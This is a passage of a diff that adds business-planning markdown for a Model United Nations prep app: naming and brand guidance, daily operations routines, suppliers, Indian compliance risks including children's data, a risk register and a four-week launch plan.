15-year-old, and long | **No.** Wrong market. | +| Founder's name | Prep by Jake | Solo-founder honesty | Charming | Burdens the brand with one person and reads foreign to the buyer. | +| Place | **Circuit** | The MUN circuit — the thing nobody else has indexed | Speaks the in-group's own language ("I'm on the circuit") | Needs a modifier to be findable; it is also the name of the *strategy*, not yet the product. | + +#### Shortlist of three + +1. **MUN Prep** — keep it. SEO is the only acquisition channel this business can afford (see `marketing.md`: the CAC ceiling is ₹169, which rules out paid ads). A descriptive, literal name is worth more here than a clever one, because it is what a coordinator types into Google. **Recommendation: keep `MUN Prep` as the product name and let the brand work be about the promise, not the name.** +2. **Caucus** — the strongest alternative if the founder wants to grow into a category brand rather than a search entry. Only worth it later; renaming now would throw away whatever search presence exists. +3. **Circuit** — the name for the *data asset* the monopoly lens recommended, if it is ever built (the conference calendar). It is a better name for a future product than for this one. + +#### Checks the founder must run — I can only do public searches, and nothing is registered until it is registered + +- **Trademark:** search the **Indian register (ipindia.gov.in)** for "MUN Prep" in classes **9** (downloadable software), **41** (education, training, entertainment) and **42** (SaaS, software design). If the founder ever sells to the US/UK, also check **USPTO** (tmsearch.uspto.gov) and **UKIPO** in the same classes. **"MUN" and "Model United Nations" are widely used generically and are likely unprotectable on their own** — the protection would be in the distinctive part, which "Prep" is not. The honest expectation is that "MUN Prep" is hard to trademark and easy for someone else to use. **A trademark lawyer confirms this; a name is not owned until it is registered.** +- **Domain:** check `.com`, `.in`, and `.app` for `munprep` and the variants actually being considered. **Do not assume any are free** — check at a registrar. +- **Handles:** check `@munprep` on Instagram, TikTok, X and YouTube. A delegate discovers this on Instagram, so an available handle matters more than the domain here. +- **Confusion:** keep clear of **Model Diplomat** (name, and its "record at your back" language), **Best Delegate**, **WiseMee**, **mymun** and **MUN Command**. Nothing in the shortlist collides. + +### The promise, the tagline, the voice + +#### The one-line promise + +> **Every brief, paper and speech comes with where it came from — and you can check every one before you say it out loud.** + +**This promise cannot be made truthfully today.** The app's own system prompt instructs the model not to invent citations and to mark doubtful claims as "needs verification", but there is **no retrieval layer** — the model is answering from its weights, so nothing can actually be pointed at. The instruction is a hope, not a mechanism. + +**Choose one and commit:** + +- **(a) Build it:** index real sources (UN documents, government statements, treaty texts, current affairs) and cite them. Then the promise above is true, and it is the promise that beats the category leader on its own ground. **This is the board's recommendation and the product lens's condition 3.** +- **(b) Stop implying it:** reposition as a **strategy coach** — committee procedure, debate tactics, speech structure, resolution wording, how to caucus. Promise *"a delegate who knows what to say and when"*, not *"facts you can trust"*. In that version the promise becomes: *"You will walk into committee knowing exactly what to do — and how to say it."* That is true to what the architecture actually does, and it is a real product. + +**Until one is chosen, the brand must not claim accuracy.** That is not a positioning preference, it is the difference between a brand promise and a lie — and in a category where a competitor is publicly campaigning against tools that invent citations, it is also the difference between a debate the founder can win and one he cannot afford to have. + +#### Tagline — three options + +1. **"Know what to say, and where it came from."** — the rigour promise, for path (a). +2. **"Speak like you've done this before."** — the confidence promise, safe on either path, aimed at the first-timer (50% buy rate). +3. **"Three weeks out. One brief. No lies."** — the honest one; pairs with the "who this is not for" post in `marketing.md`. Blunt, memorable, and it makes the free brief a brand behaviour rather than a promotion. + +**Recommendation: use 2 on the site, 1 once retrieval exists.** 3 belongs in the launch campaign where the honesty is the point. + +#### Voice — three adjectives + +**Plain, not clever.** +- Do: *"Your committee. Your country. One brief, free, before you pay."* +- Don't: *"Unlock your diplomatic potential with AI-powered intelligence."* +- Why: the buyer is a 16-year-old on a phone deciding whether ₹299 is worth their lunch money. Cleverness reads as a scam. + +**Evidence-first, not impressive.** +- Do: *"This is the source. Open it before you speak."* +- Don't: *"Powered by state-of-the-art large language models."* +- Why: the panel's single biggest objection was *"I don't trust AI facts in committee"* (10 of 31 non-buyers). Nothing about scale or models answers it. Only proof does. + +**On the delegate's side, not the seller's.** +- Do: *"Write it yourself — use this for the part before that."* +- Don't: *"Get your position paper written for you."* +- Why: the panel flagged the cheating worry unprompted (*"Will my chair penalise me for AI-written work?"*). The honest posture — research aid, not ghostwriter — is both true and the brand's escape from the academic-integrity question. + +#### Before / after — one line from `pitch.md` + +**Before:** *"Tell it your committee, your agenda and your country. It writes your research brief, your country's position, your position paper, your opening speech, your POIs and your draft resolution clauses."* + +**After:** *"Give it your committee, your agenda and your country. It gives you the research, the sources behind it, and the outline of what to say — and you write the paper that goes in, because it's your committee."* + +The rewrite drops the promise that the product does the delegate's work, takes the integrity objection away, and stops claiming a source base that does not exist yet. + +### The look + +**Keep the existing palette. It is right.** What follows is the brief that makes it consistent, with the contrast checks the skill asks for. + +| Colour | Hex | Job | Text on it | +|---|---|---|---| +| **Paper** | `#f7f3ea` | The background everywhere. The "document". | Ink `#171412` on paper = **contrast 15.9:1** ✅ AAA (needs 4.5:1 for body, 3:1 for large) | +| **Ink** | `#171412` | All body text; the dark panel. | Paper on ink = **15.9:1** ✅ AAA | +| **Oxblood** | `#7a1f2b` | The primary action, and only there. One button per screen. | Paper on oxblood = **9.8:1** ✅ AAA · oxblood on paper = 9.8:1 ✅ (do not use oxblood on brass) | +| **Brass** | `#b78a42` | Accent only — the rule under a heading, a countdown, a highlight. Never body text. | **Ink on brass = 7.1:1** ✅ AA for body; **paper on brass = 2.2:1** ❌ fails — never put white/paper text on brass | +| **Patina** | `#1d6f68` | The "verified" signal — the colour of a check mark next to a source, once sources exist. Reserve it for exactly that. | Paper on patina = **5.5:1** ✅ AA | + +*Ratios are WCAG 2.1 relative-luminance calculations. **These must be re-verified with a contrast checker against the actual rendered CSS** before being treated as audited — I computed them from the hex values, and the app renders colours through several translucent layers (`--surface-bg: rgba(255,250,241,0.78)` and the body's two radial gradients), which change the effective background under any text placed on them. **That is the specific thing to check, because it is the one place where a palette that looks compliant can fail in practice.*** + +**Type — free, and already licensed by being a system stack.** The display serif is `Georgia` (or Cambria/Times fallback), the body is `Aptos`/`Avenir Next`/`Segoe UI`, the data face is `Cascadia Code`/`Consolas`. **All are system fonts: nothing to license, nothing to load, no font-flash, and the page stays fast on a cheap Android phone.** Recommendation: **keep them.** A Google font would add a request and a licence question for a look that is already distinct. *If a display face is ever wanted, choose only a SIL Open Font License face from Google Fonts (e.g. `Source Serif 4`, `Spectral`, `Instrument Serif`) — free to use commercially — and never a "free for personal use" font.* + +**Logo brief.** What it must say: *this is a document for a committee.* Where it must work: as a **favicon at 32px** (the current `/icon.svg` should be checked at that size), on a conference stall banner, on an Instagram profile circle, and embossed-feeling on the confirmation screen. Direction: a **mark built from letterforms or a document/placard geometry in oxblood on paper** — a monogram or a single strong glyph reads at 32px where a detailed crest does not. **Avoid:** globes, doves, UN-blue and the United Nations emblem *in any form* — the UN emblem is protected and using it would be both a legal and an integrity problem. Avoid gavels (the law-product cliché) and anything that looks like a school crest. + +**Generated concepts are concepts.** If image concepts are wanted, they must be marked as drafts and redrawn by a designer or traced properly before use anywhere real. + +### The first five touchpoints + +1. **The homepage** (currently "Prepare like your committee starts tomorrow." **Change it.** It sells to the night-before crammer, the cohort that bought at 0%): → **"Three weeks to go. Your committee, your country, your brief — and the sources behind it."** *(drop the last clause until retrieval exists)*, with **the price visible and a free first brief button above the fold.** +2. **The confirmation screen after payment** (the only warm moment the product currently has): not "Payment successful." → *"You're in. Tell us your conference date and we'll build your prep order backwards from it."* This is also where the countdown from the product lens gets born. +3. **The receipt/email:** plain, branded, and it states the refund promise in the same words used on the site. A receipt is the first thing a parent reads; write it for the parent. +4. **The first social post:** the screen recording of a real brief being generated for a real committee. No music, no captions over the top, no cuts. The product is the proof. +5. **The reply to the first complaint:** *"That's a fair complaint. Here's what I'm changing, and here's your refund if you want one."* Written by the founder, signed by the founder, no template. This reply will be screenshotted and posted in a WhatsApp group more often than any ad — it is a brand asset, and it should be treated like one. + +### Rules + +- Never a screenshot of the competitor's product that has been mocked up rather than taken live, and never a comparison that is not literally true. +- Never a font, icon or image the founder has no right to use; the system-font stack above already avoids this entirely. +- Never a claim of accuracy, awards or endorsements the product cannot evidence. +- **Not legal advice on trademarks.** The India, USPTO and UKIPO searches above are the founder's to run, and a lawyer confirms before any money is spent on the name. + +## Operations + +Not a café — so no opening shift. But this business *does* have a daily cycle, and one step in it is the difference between a working product and an angry WhatsApp message. Adapted from the skill for a one-person software business. + +### 1. What has to happen every day + +Marked ✅ = the customer sees it. + +**Every day (about 15 minutes of human attention):** + +1. **Payments pending** — the reconciliation queue. UroPay confirms a UPI credit by reading a bank SMS; when that fails, a person who paid has no access. **This is step one, it is the only step that produces angry customers, and it must run before anything else.** ✅ +2. **Failed/abandoned entitlement grants** — anyone who paid but whose access did not activate. ✅ +3. **Support inbox** — replies within 24 hours. ✅ +4. **AI usage vs caps** — check whether any account is at or over the daily cap, and (once usage logging exists) whether any single account's inference cost exceeds what they paid. **This is the Max-mode watch from `cfo.md`.** Invisible today; it is the step that protects solvency. +5. **Error log skim** — a broken AI route is a silently dead product. + +**Weekly (about 90 minutes):** + +6. **Model cost review** — pull actual token usage, multiply by the published rates, compare with the ₹25/pass assumption in `numbers.json`. **This is the "weekly reorder" of this business** — it is the one routine that produces a real number where there is currently a guess. +7. **The three marketing numbers** from `marketing.md` (free-brief → paid, free-brief volume, delegations activated). +8. **Referral audit** — any anomalous commission (self-referral attempts, commission on a refunded payment, a partner account that should not be active). +9. **Dependency check** — did any model provider change a price, deprecate a model, or change a rate limit? + +**Monthly:** + +10. **Backup verification** — a restore actually tested, not a backup assumed. +11. **Invoice/receipt reconciliation** against UroPay's own statement. ✅ (the parent reads it) +12. **Re-run the CFO's model** with real numbers replacing the three guesses in `cfo-sources.md`. + +### 2. Suppliers + +Every input, with a real price and the contractual thing to watch. + +| Supplier | What it provides | Cost | Payment terms / minimums | The thing to watch | +|---|---|---|---|---| +| **UroPay** (`uropai.me` / `uropai.in`) | UPI collection, zero per-transaction commission | ₹0 free (≤15 txns/mo) · **₹100/mo** Growth (≤50) · ₹1,000/mo Unlimited | Monthly subscription; no minimum, no KYC claimed | **The single most important supplier risk in this file.** Its screenshots claim zero commission, no registration, no KYC, and settlement direct to the founder's bank. Those are *vendor claims* — two months of invoices will confirm or refute them. Two specific questions to ask them in writing: **how does a refund work through it**, and **what is the dispute/chargeback path** for a UPI payment. The confirmation mechanism (reading bank SMS) is unusual and is the most likely daily failure point. | +| **NVIDIA NIM** (via `lib/ai/router.ts` → `lib/ai/nvidia.ts`) | Inference: `z-ai/glm-5.3-flash` ($0.15/$0.50 per M) and `moonshotai/kimi-k3` ($3/$15 per M) | Usage-based, no minimum, no commitment | Prepaid credits / usage billing | **Provider risk is concentrated here and it is existential to the cost structure.** A price change on Kimi K3 or a model deprecation is a same-week emergency. Keep the router's model names configurable (they are), and test a second provider's equivalent before it is needed rather than after. | +| **Vercel** | Hosting | **₹1,760/mo** ($20 Pro) — mandatory: **the free Hobby tier is not licensed for commercial use** | Monthly | The moment money changes hands, this cost starts. Do not run a commercial product on Hobby. | +| **Supabase** | Postgres, Auth, RLS, Storage | **₹0** on the free tier | Free; paid plan when limits are hit | The free tier is the reason this business can start at zero cost. It is also the thing that fails first — the free tier has no daily backups. **The first real growth triggers a paid Postgres plan**, and that is a new fixed cost that `numbers.json` does not yet carry. | +| **Domain registrar** (Registrar to be confirmed by the founder) | `mun-ai-app.vercel.app` is a Vercel subdomain; a real brand needs its own domain | ~₹1,000/yr (₹83/mo) | Annual | Own the domain before any marketing is printed. A `.vercel.app` URL in a school pitch looks unfinished. | +| **Model/API keys** | — | — | — | Server-side only, never in the client. The security remediation already established this; **it is the one asset whose leak is a runaway bill.** | + +**If any real price differs from `founder/numbers.json`, the CFO must re-run.** The three most likely to need correcting after month one: inference per pass, the UroPay plan tier actually required (free at ≤15 txns/month covers a very small launch), and Supabase moving off free. + +### 3. People + +**One person. The founder.** There is no rota to write and pretending otherwise would be dishonest — every role below is the founder's until revenue says otherwise. + +| Role | Who | Hours/week | Paid? | +|---|---|---|---| +| Product and engineering | Founder | 15–25 | No | +| Support (the replies that matter) | Founder | 3 | No | +| Marketing (coordinator calls, Instagram) | Founder | 5–8 | No | +| Payments reconciliation | Founder | 1–2 | No | +| Bookkeeping | Outsourced | — | **Not modelled.** Use a part-time accountant; typical Indian rates for a small business run a few thousand rupees a month, and this is a real cost that `numbers.json` omits. | + +**Rota for the slow first month:** payments and support daily, everything else when there is something to do. **Rota at the planned volume (8 passes/day, ~255 active subscribers):** support becomes the binding constraint — at 2% of users needing help a month, that is ~5 conversations a month, which is still one person. **The first hire, if one is ever needed, is not an engineer or a marketer — it is someone on support and reconciliation, because that is the only work that cannot wait until tomorrow.** + +Wages are not modelled because there are none. **If the founder's time is ever costed (and it should be, honestly, at a market rate), the business's profitability changes materially — see `cfo-sources.md`, which names this as deliberately excluded.** + +### 4. Routines + +**Routine A — daily payments reconciliation (5 minutes).** 1) Open the pending payments queue. 2) For each: check whether the UPI credit is confirmed at the bank. 3) If confirmed and access is not granted → grant it, then note the failure. 4) If not confirmed and older than 30 minutes → message the customer, do not leave them guessing. 5) If two failures happen in one day, **that is an incident, not a routine** — go to Routine D. + +**Routine B — handling a complaint (10 minutes, never automated).** 1) Reply within 24 hours. 2) Name the problem back to them in your own words. 3) If it is a factual error in the output: **this is important — log the exact committee, agenda and claim, because it is the input to the retrieval work.** 4) If the product failed them, refund without argument and log the reason code. 5) If they are angry about being blocked by the daily cap, look at what they were actually doing before deciding the cap is wrong. 6) Sign it with a human name. + +**Routine C — the money wire (deploy), weekly not continuous.** 1) Tests green, including the payment-guard suite. 2) Type-check and lint clean. 3) Deploy to preview, run one real brief end to end. 4) Deploy. 5) Watch payments and errors for an hour. **Never deploy on the morning of a big conference weekend.** + +**Routine D — payment failure incident.** This is the routine worth memorising, because it is the one that costs money. 1) Check whether it is UroPay, the bank, or the app's verification. 2) **Assume the customer paid until proved otherwise** — grant access and reconcile later; never hold access hostage to an infrastructure diagnosis. 3) Post a status note wherever the launch traffic came from. 4) Fix, then write down what happened. + +**Routine E — the weekly cost review (15 minutes).** 1) Total tokens per model, per day. 2) × published rate × ₹88. 3) ÷ passes sold. 4) **If cost per pass exceeds ₹120, stop and fix the mode mix** — that is four times the modelled figure and it is the leading indicator of the scenario in `cfo.md` where the business never breaks even. + +### 5. Tools + +The smallest stack that runs this. **Nothing here should be added without deleting something else.** + +| Job | Tool | Cost | Why | +|---|---|---|---| +| Payments | UroPay | ₹0–100/mo | Already integrated, zero commission, UPI-native for an Indian buyer | +| Hosting | Vercel Pro | ₹1,760/mo | Already there; the paid tier is required for commercial use | +| Database/auth | Supabase | ₹0 | Already there; RLS and the referral RPC already live here | +| AI | NVIDIA NIM | Usage | Already there; the router makes model changes a config edit | +| Support inbox | Founder's email, then a shared inbox | ₹0 | Do not buy a helpdesk for five conversations a month | +| Analytics | **Needs choosing — nothing is installed today** | ₹0 | **This is the real gap.** `marketing.md`'s three weekly numbers and `cfo-sources.md`'s inference measurement both need events the product does not currently emit: free-brief start, signup, payment, and per-request token cost. **Plausible/Umami self-hosted or PostHog free tier.** Without this, every number in this pack stays an estimate. | +| Bookkeeping | A part-time accountant + a spreadsheet | Not modelled | See the caveat in People above | +| Uptime | A free external ping (Better Stack/UptimeRobot free tier) | ₹0 | A silently dead AI route is invisible without it | + +### 6. Licences, permits, and the thing nobody told the founder + +**This is the section of the pack with the most serious unaddressed risk, and it is not about money.** + +| Item | Status | Where to confirm | +|---|---|---| +| **Business registration** | Sole proprietorship vs a private limited company is a real decision, not a formality. A proprietorship is simplest and cheapest; a company costs more but separates personal liability — and this business serves minors, handles their data, and generates content a school may blame someone for. | A chartered accountant. **Before taking money at scale, not after.** | +| **GST** | **Not modelled and not something this pack can decide.** Digital services to consumers in India may attract GST at 18% with a registration threshold; whether this business crosses it, and when, depends on turnover and structure. | A chartered accountant. **This is the clearest financial consequence in the file.** | +| **TDS / referral commissions** | The referral programme pays third parties **16.72% of a first payment**. Payments to individuals may have withholding-tax implications, and a student "partner" being paid commission is a taxable event for them. **This is currently unhandled in the product and unmodelled in the accounts.** | An accountant, before the first commission is paid. | +| **DPDP Act, 2023 — children's data** | **🔴 The most serious gap in this pack.** The product is built for MUN delegates aged roughly **14–22** — a large share are **minors**, and the app has **no age gate and collects no date of birth**. India's Digital Personal Data Protection Act treats under-18s as children, requires **verifiable parental consent** before processing their data, and restricts tracking and targeted advertising at children. The app stores account details, chat transcripts and workspace content for these users. **There is currently nothing in the code addressing this.** | **A lawyer.** The remediation is a product change (age at signup, parental-consent flow for under-18s, tightened retention), and it should be designed *before* the marketing in `marketing.md` drives students to sign up in bulk. | +| **RBI rules on recurring payments** | The plans are **prepaid passes, not auto-renewing subscriptions** — which is a genuine advantage, because India's e-mandate rules for recurring card/UPI payments (additional factor of authentication, pre-debit notification) apply to auto-renewal. **Do not add auto-renewal casually.** It is a compliance project, not a feature. | An accountant/lawyer, and the payment provider — *if* auto-renewal is ever considered. | +| **Terms, privacy, refund and cancellation pages** | They exist in `lib/site-pages.ts` **and every one is a working draft** carrying an explicit "not legal advice, review by a lawyer" note. The refund page in particular says eligibility "depends on the applicable purchase terms" — which promises a customer nothing, while `offer.md` wants to promise a 7-day refund. **Those two must agree, and right now they contradict each other.** | A lawyer, then rewrite the pages to match the offer that is actually being sold. | +| **Trademark** | "MUN Prep" is likely hard to protect; see `brand.md`. | ipindia.gov.in, then a lawyer. | + +**Not legal advice.** Every line above names the authority or the professional to confirm it with. The DPDP item is the one to act on first: a product marketed to schoolchildren that stores their conversations, with no parental-consent mechanism, is the kind of gap that gets raised by a parent or a school, and by then it is a much worse conversation. + +### 7. Risk register + +Ten things most likely to go wrong. **Likelihood and severity are judgements on the evidence in this pack, not measurements.** + +| # | Risk | Likely? | Bad? | The plan | +|---|---|---|---|---| +| 1 | **Model price rise or deprecation on Kimi K3 or GLM-5.3-Flash** | Medium | **Severe** — the whole cost structure rests on it | Model names are already configurable in the router. Keep an equivalent model tested and ready. **Re-check the two published rates monthly.** If Kimi K3 doubles, the Max mode must go behind a plan tier that day. | +| 2 | **Max-mode cost blowout** (one user's inference exceeds their ₹299) | **High** — nothing prevents it today | **Severe** — modelled at −₹1,800/pass | Cap Max per pass or move it to a higher tier. Watch cost per account weekly (Routine E). **This is the highest-value fix in the pack, and it is a one-line policy change.** | +| 3 | **UroPay fails, or its zero-commission claim does not hold** | Medium | Severe — revenue stops | Two months of invoices confirm the claim. Keep a second UPI collection option scouted. Assume "why is my payment not showing" is a when, not an if. | +| 4 | **A paid customer gets no access** (reconciliation or SMS-confirmation failure) | Medium | High — in a referral-driven market one bad experience travels | Routine A runs daily, and grants access on trust while investigating. **Never make the customer wait on an infrastructure diagnosis.** | +| 5 | **A hallucinated fact embarrasses a delegate publicly** | **High** over time — the architecture has no retrieval | High — it is the product's core promise failing in the most visible way | The real fix is retrieval. Until then: the offer must not promise accuracy, and `offer.md`/`brand.md` both name this as the first condition. Log every reported error (Routine B step 3) — the log is the case for building retrieval. | +| 6 | **A competitor undercuts, or a general assistant ships an education mode** | Medium | Severe — no moat exists (monopoly lens: 4/10) | The only defences are the ones the board named: the conference calendar data, the block relationships, and the rigour brand. Start with the relationships, because they are free and they are the highest-converting channel. | +| 7 | **Off-season cash gap** | **High** — conferences peak Jan–Mar and Aug–Nov, and this is the whole purchase trigger | Medium — fixed costs are only ₹1,943/mo, so the floor is survivable | Aim the school/block offer at the *start* of a term rather than mid-conference, and use the off-season to build the calendar asset. Contrast with the fixed base: this business can afford two quiet months. | +| 8 | **Solo founder illness or burnout** | Medium | **Severe** — no redundancy at any step | Document routines A–E so someone else could run payments and support for two weeks. Do not deploy before a conference weekend. **The founder's own time is the true cost of this business and it is currently priced at zero.** | +| 9 | **Organic search stops delivering** | Medium | High — it is the only free acquisition channel, and the CAC ceiling (₹169) rules out paid | Build the conference-calendar asset, which is shareable and linkable in a way that AI answers cannot replace. Own a community (the club coordinators) rather than a keyword. | +| 10 | **A minor's data complaint, or a school pulling out over it** | Low today, rising with volume | **Severe — reputational and legal** | Act on the DPDP item in section 6 before marketing to school delegations. The block sale is the best channel *and* the one most exposed to this risk. | + +**Two risks are worth more than the other eight: #2 (Max-mode cost) and the DPDP item in section 6.** One threatens the money, the other threatens the right to operate. Both are fixable this month, and both are currently unaddressed. + +## Launch plan + +**Today is Monday 12 October 2026. Public launch day is Monday 9 November 2026.** Four weeks, and the first two of them are not building — they are finding out whether anyone will actually pay, before any real money goes out. + +The product is already live with real prices and real payments. So this is not a launch from nothing; it is a **relaunch with the two blockers removed** (you can see the price, and you can try it before paying). That is a smaller job than a launch and a bigger one than a copy change. + +### Step 1 — the test, before spending anything + +**The cheapest real test that fits an online subscription: a founding-member offer, paid up front, in front of real delegates.** + +**What goes live:** +- The landing page shows the price and a **free first brief** button. No sign-in wall before either. +- **"Founding 50"** — the first 50 paying customers get **30 days of access for ₹199** (the weekly price). This is a **bonus, not a discount**: ₹199 is above the ₹123 floor where buyers start distrusting quality (`pricing.md`), and the structure says "we're giving you more", not "the price was fake". The price list stays ₹199/week and ₹299/month, unchanged; founding members simply get the month at the week's price. +- The offer is announced **only to people the founder reaches directly** — coordinator conversations, MUN Instagram DMs, the stall at a conference — not to broad traffic. **Broad traffic would make the test unreadable.** + +**The success line, written before running it:** + +> **15 founding members pay ₹199 each within 14 days, from at least 150 delegates reached directly (10% conversion).** + +**Then compare it with the panel.** The panel said 22% — but the panel is simulated and simulated buyers are agreeable, and 22% was a rate among *qualified buyers already answering*, not among cold delegates reached. **10% from cold outreach would be a *better* result than the panel's 22% means in reality.** Write both numbers down side by side and be suspicious of whichever one is more flattering. + +**The decision rule, fixed in advance so the result cannot be argued with:** + +| Result | What it means | What to do | +|---|---|---| +| **15+ paid** | Real buyers confirmed what the panel suggested. | Proceed to launch on 9 November. **Everything below stands.** | +| **5–14 paid** | The offer half-works. The free brief converted some people, but the price or the promise is still costing sales. | Launch anyway, on a smaller plan, and fix what the *reasons* say. Read the DMs from people who tried and did not pay — that is the whole dataset. | +| **Under 5 paid** | **Trust the real buyers over the panel.** The panel was too generous, and the offer is not yet good enough to sell. | **Do not launch.** Go back to `offer.md` and `pricing.md`. The most likely causes, in order: the output is not good enough to be worth paying for, or the trust objection is fatal. | + +**The failure case is the valuable one.** Five real people saying no, with their reasons, is worth more than 40 simulated ones saying yes — and it is far cheaper than finding out after a marketing push. + +### Step 2 — the countdown + +#### Week 1 · Mon 12 – Sun 18 Oct — **remove the blockers** *(critical path)* + +Nothing else can start until these ship. + +| Task | Owner | Deadline | +|---|---|---| +| **Show the price to anonymous visitors.** Remove the `/pricing` → `/auth/signin` redirect; put ₹199/₹299 on the landing page. | Founder | **Wed 14 Oct** | +| **Build the free first brief.** One complete Quick-mode brief per account, no card, hard-capped server-side, once per account. Abuse controls already exist. | Founder | **Fri 16 Oct** *(critical path — the whole test depends on this)* | +| Rewrite the refund page in `lib/site-pages.ts` so it matches the actual promise. The current draft says eligibility "depends on the applicable purchase terms", which promises nothing. | Founder | Fri 16 Oct | +| Rewrite the homepage headline off the night-before crammer (0% buy rate) — see `brand.md`. | Founder | Sat 17 Oct | +| **Engage a lawyer on the DPDP/children's-data question** (`ops.md` §6). Not on the critical path for the test, but it must not be a surprise later, and it gates the school channel. | Founder | Fri 16 Oct | +| Book 20 coordinator conversations for the test window. | Founder | Sun 18 Oct | +| Install analytics that emit the four events this plan needs: free-brief start, signup, paid, and per-request token cost. | Founder | Sun 18 Oct | +| Buy the domain and put the brand on it (`brand.md`). | Founder | Sun 18 Oct | + +#### Week 2–3 · Mon 19 Oct – Sun 1 Nov — **run the test** *(critical path)* + +| Task | Owner | Deadline | +|---|---|---| +| **"Founding 50" live and announced to direct channels only** | Founder | **Mon 19 Oct** | +| 20 coordinator conversations, 10 of them with schools that have a conference in the Jan–Mar season | Founder | by Fri 23 Oct | +| One conference stall — printed cards with a QR code to the **free brief**, not to the pricing page | Founder | by Sat 31 Oct | +| Instagram: 8 posts from the `marketing.md` hook list, watching saves and shares rather than likes | Founder | through 1 Nov | +| Poll the result daily: paid count, free-brief count, and the reason given by anyone who tried and did not pay | Founder | daily | +| **Close the test and read it against the decision rule above** | Founder | **Sun 1 Nov** | + +#### Week 4 · Mon 2 – Sun 8 Nov — **soft open and harden** + +| Task | Owner | Deadline | +|---|---|---| +| Soft open: give access to 10 real delegates (seniors, club heads, the coordinators' students) in exchange for brutal feedback | Founder | Tue 3 Nov | +| Fix whatever the soft open breaks. **Do not fix anything else.** | Founder | Thu 5 Nov | +| Cap Max mode per pass, or move it behind the monthly tier (`cfo.md` §risk 2 — the highest-value fix in the pack) | Founder | Thu 5 Nov | +| Set up the uptime ping and confirm payments reconciliation runs end to end with the real provider | Founder | Fri 6 Nov | +| Write the launch-day posts and the stall cards | Founder | Fri 6 Nov | +| **Freeze. No code changes after this point.** | Founder | Fri 6 Nov | + +**Critical path:** the free first brief (Fri 16 Oct) → the test's start (Mon 19 Oct) → the result (Sun 1 Nov) → launch (Mon 9 Nov). **Every other task can slip a week without moving the launch date. Those four cannot.** If the free brief slips, launch slips with it, and the correct move is to slip the date rather than launch without it — because launching without it means launching into the funnel that already converts nobody. + +### Step 3 — launch day: Monday 9 November 2026 + +| Time | What happens | Channel | +|---|---|---| +| **08:00** | Payments reconciliation first, before anything else. Confirm the launch offer's entitlement works end to end with one real ₹199 payment. | Internal | +| **08:30** | Final check: price visible logged-out, free brief works logged-out, refund promise on the site, uptime ping live. | Internal | +| **09:00** | Launch post: the screen recording of a real brief, unedited, no music. | Instagram | +| **10:00** | Email the 20 coordinators personally, one at a time. Not a BCC. | Email | +| **11:00–13:00** | Founder at the keyboard. First launch traffic arrives; watch the payments queue and errors live. | Internal | +| **14:00** | Second post: the honest comparison — what a general assistant gives for the same committee, side by side, real screenshots. | Instagram | +| **16:00** | Check the three numbers. If free-brief starts are under 20, the audience is the problem, not the product — do not spend money to fix it. | Internal | +| **18:00** | Reply to every single DM personally. This is the highest-value hour of launch day. | DM | +| **21:00** | Day-1 numbers recorded: free-brief starts, paid, conversion, delegations. | Internal | + +**If something breaks:** the risk register in `ops.md` is the plan. The one rule that overrides everything — **if payments fail, the stall catches people in person**, so launch on a day when there is a human being reachable within minutes. Payment failures get access granted on trust (Routine A) and reconciled later. + +**The opening offer, stated exactly:** *"Founding 50: the first 50 delegates get a full month for ₹199 — the price of a week. Plus the first brief is free, before you pay anything."* It ends when 50 are sold or on **30 November**, whichever comes first. + +### Step 4 — the first 30 days + +#### The numbers, and what triggers a change + +| Number | Where it comes from | Day-7 target | Day-30 target | **Change something if** | +|---|---|---|---|---| +| Passes sold per day | CFO: break-even is ~8/month | any | 2–4/day | **Under 1/day by day 30.** The channel is wrong, not the product. | +| **Free-brief → paid conversion** | marketing | ≥10% | ≥15% | **Under 3%.** The output is not worth paying for. This is the number that decides the business. | +| Free-brief starts | marketing | 75 | 400 | **Under 25/week.** Nobody is arriving. | +| Delegations activated | offer: the 40% cohort | 1 | 2 | **0 by day 30.** The block thesis is dead, and only individual ₹299 sales remain. | +| **Cost per pass** | CFO: the weakest input | < ₹60 | < ₹120 | **Over ₹120.** Stop and fix the mode mix before anything else (`ops.md` Routine E). | +| Refunds | ops | 0 | < 5% | **Over 10%.** The promise is being tested and the product is failing it. | + +#### The three reviews + +**Day 7 (Mon 16 Nov) — "is anyone arriving?"** +Did the posts get shared, or just liked? Did any coordinator reply, and did any of them bring a delegation? **The question to answer: is the audience reachable at all**, or does this need a channel the founder does not have? + +**Day 14 (Mon 23 Nov) — "does the free brief convert?"** +This is the review that matters. Take every account that started a free brief and did not pay, and contact them personally. **Not to sell — to ask what the brief got wrong.** If the answer is "it was fine, I just didn't need it", that is an audience problem. If the answer is "I couldn't trust it", that is the product problem the whole pack has been pointing at, and the response is retrieval — not more marketing. + +**Day 30 (Tue 9 Dec) — "does this become a business, or stay a project?"** +Against the day-30 target column above. And two honest questions with no spreadsheet behind them: **did any delegate's conference actually go better because of this — and can the founder name one?** If yes, the business has a proof to build on and the Jan–Mar season is the runway. If no, the correct answer is to say so, and the pack's next step is not a bigger launch — it is `offer.md` again. + +#### What happens after day 30 + +The Jan–Mar season is the real test (conferences peak Jan–Mar and Aug–Nov). December is quiet, which makes it the right month to build the one asset the monopoly lens said was the only available moat: **the Indian MUN conference calendar** — dates, committees, agendas, chairs, results. It is unreachable by a competitor with a model API, it is the thing that makes the product's conference-shaped interface actually work, and it can be built in a quiet month by one person. **That is what December is for.** + +_The panel is simulated buyers and the numbers are projections from your inputs. Confirm demand with real customers and costs with real quotes before you spend. Not financial, legal or tax advice._ diff --git a/founder/cfo-sources.md b/founder/cfo-sources.md new file mode 100644 index 0000000..fcecc74 --- /dev/null +++ b/founder/cfo-sources.md @@ -0,0 +1,60 @@ +# Where the money numbers came from + +Nothing in `numbers.json` is a belief dressed up as a fact. Here is what is measured, what is quoted, and what is a guess — and how much each one is allowed to move the answer. + +## Quoted prices (checkable, and dated) + +| Item | Figure used | Source | Confidence | +|---|---|---|---| +| Model: default path | `z-ai/glm-5.3-flash` — $0.15 per M input tokens, $0.50 per M output | NVIDIA NIM / Z.ai published list rate, Sep–Oct 2026 | **High** — published list price. Changes without notice, so re-check before pricing decisions. | +| Model: Max mode | `moonshotai/kimi-k3` — $3 per M input, $15 per M output | NVIDIA NIM / Moonshot published list rate, Sep–Oct 2026 | **High** — same caveat. | +| FX | **₹88 = $1** | Assumption, not a quote | **Medium** — every rupee inference figure scales exactly with this. | +| Payments | UroPay flat plan: ₹0 free (≤15 txns/mo), **₹100/mo** Growth (≤50), ₹1,000 Unlimited. **Zero per-transaction commission, zero MDR.** | UroPay's own pricing pages (`uropai.me` / `uropai.in`) | **Medium** — vendor marketing, and the only source available. It is the vendor's claim about its own fees; confirm on the invoice after the first month. It is also the most favourable input in the whole 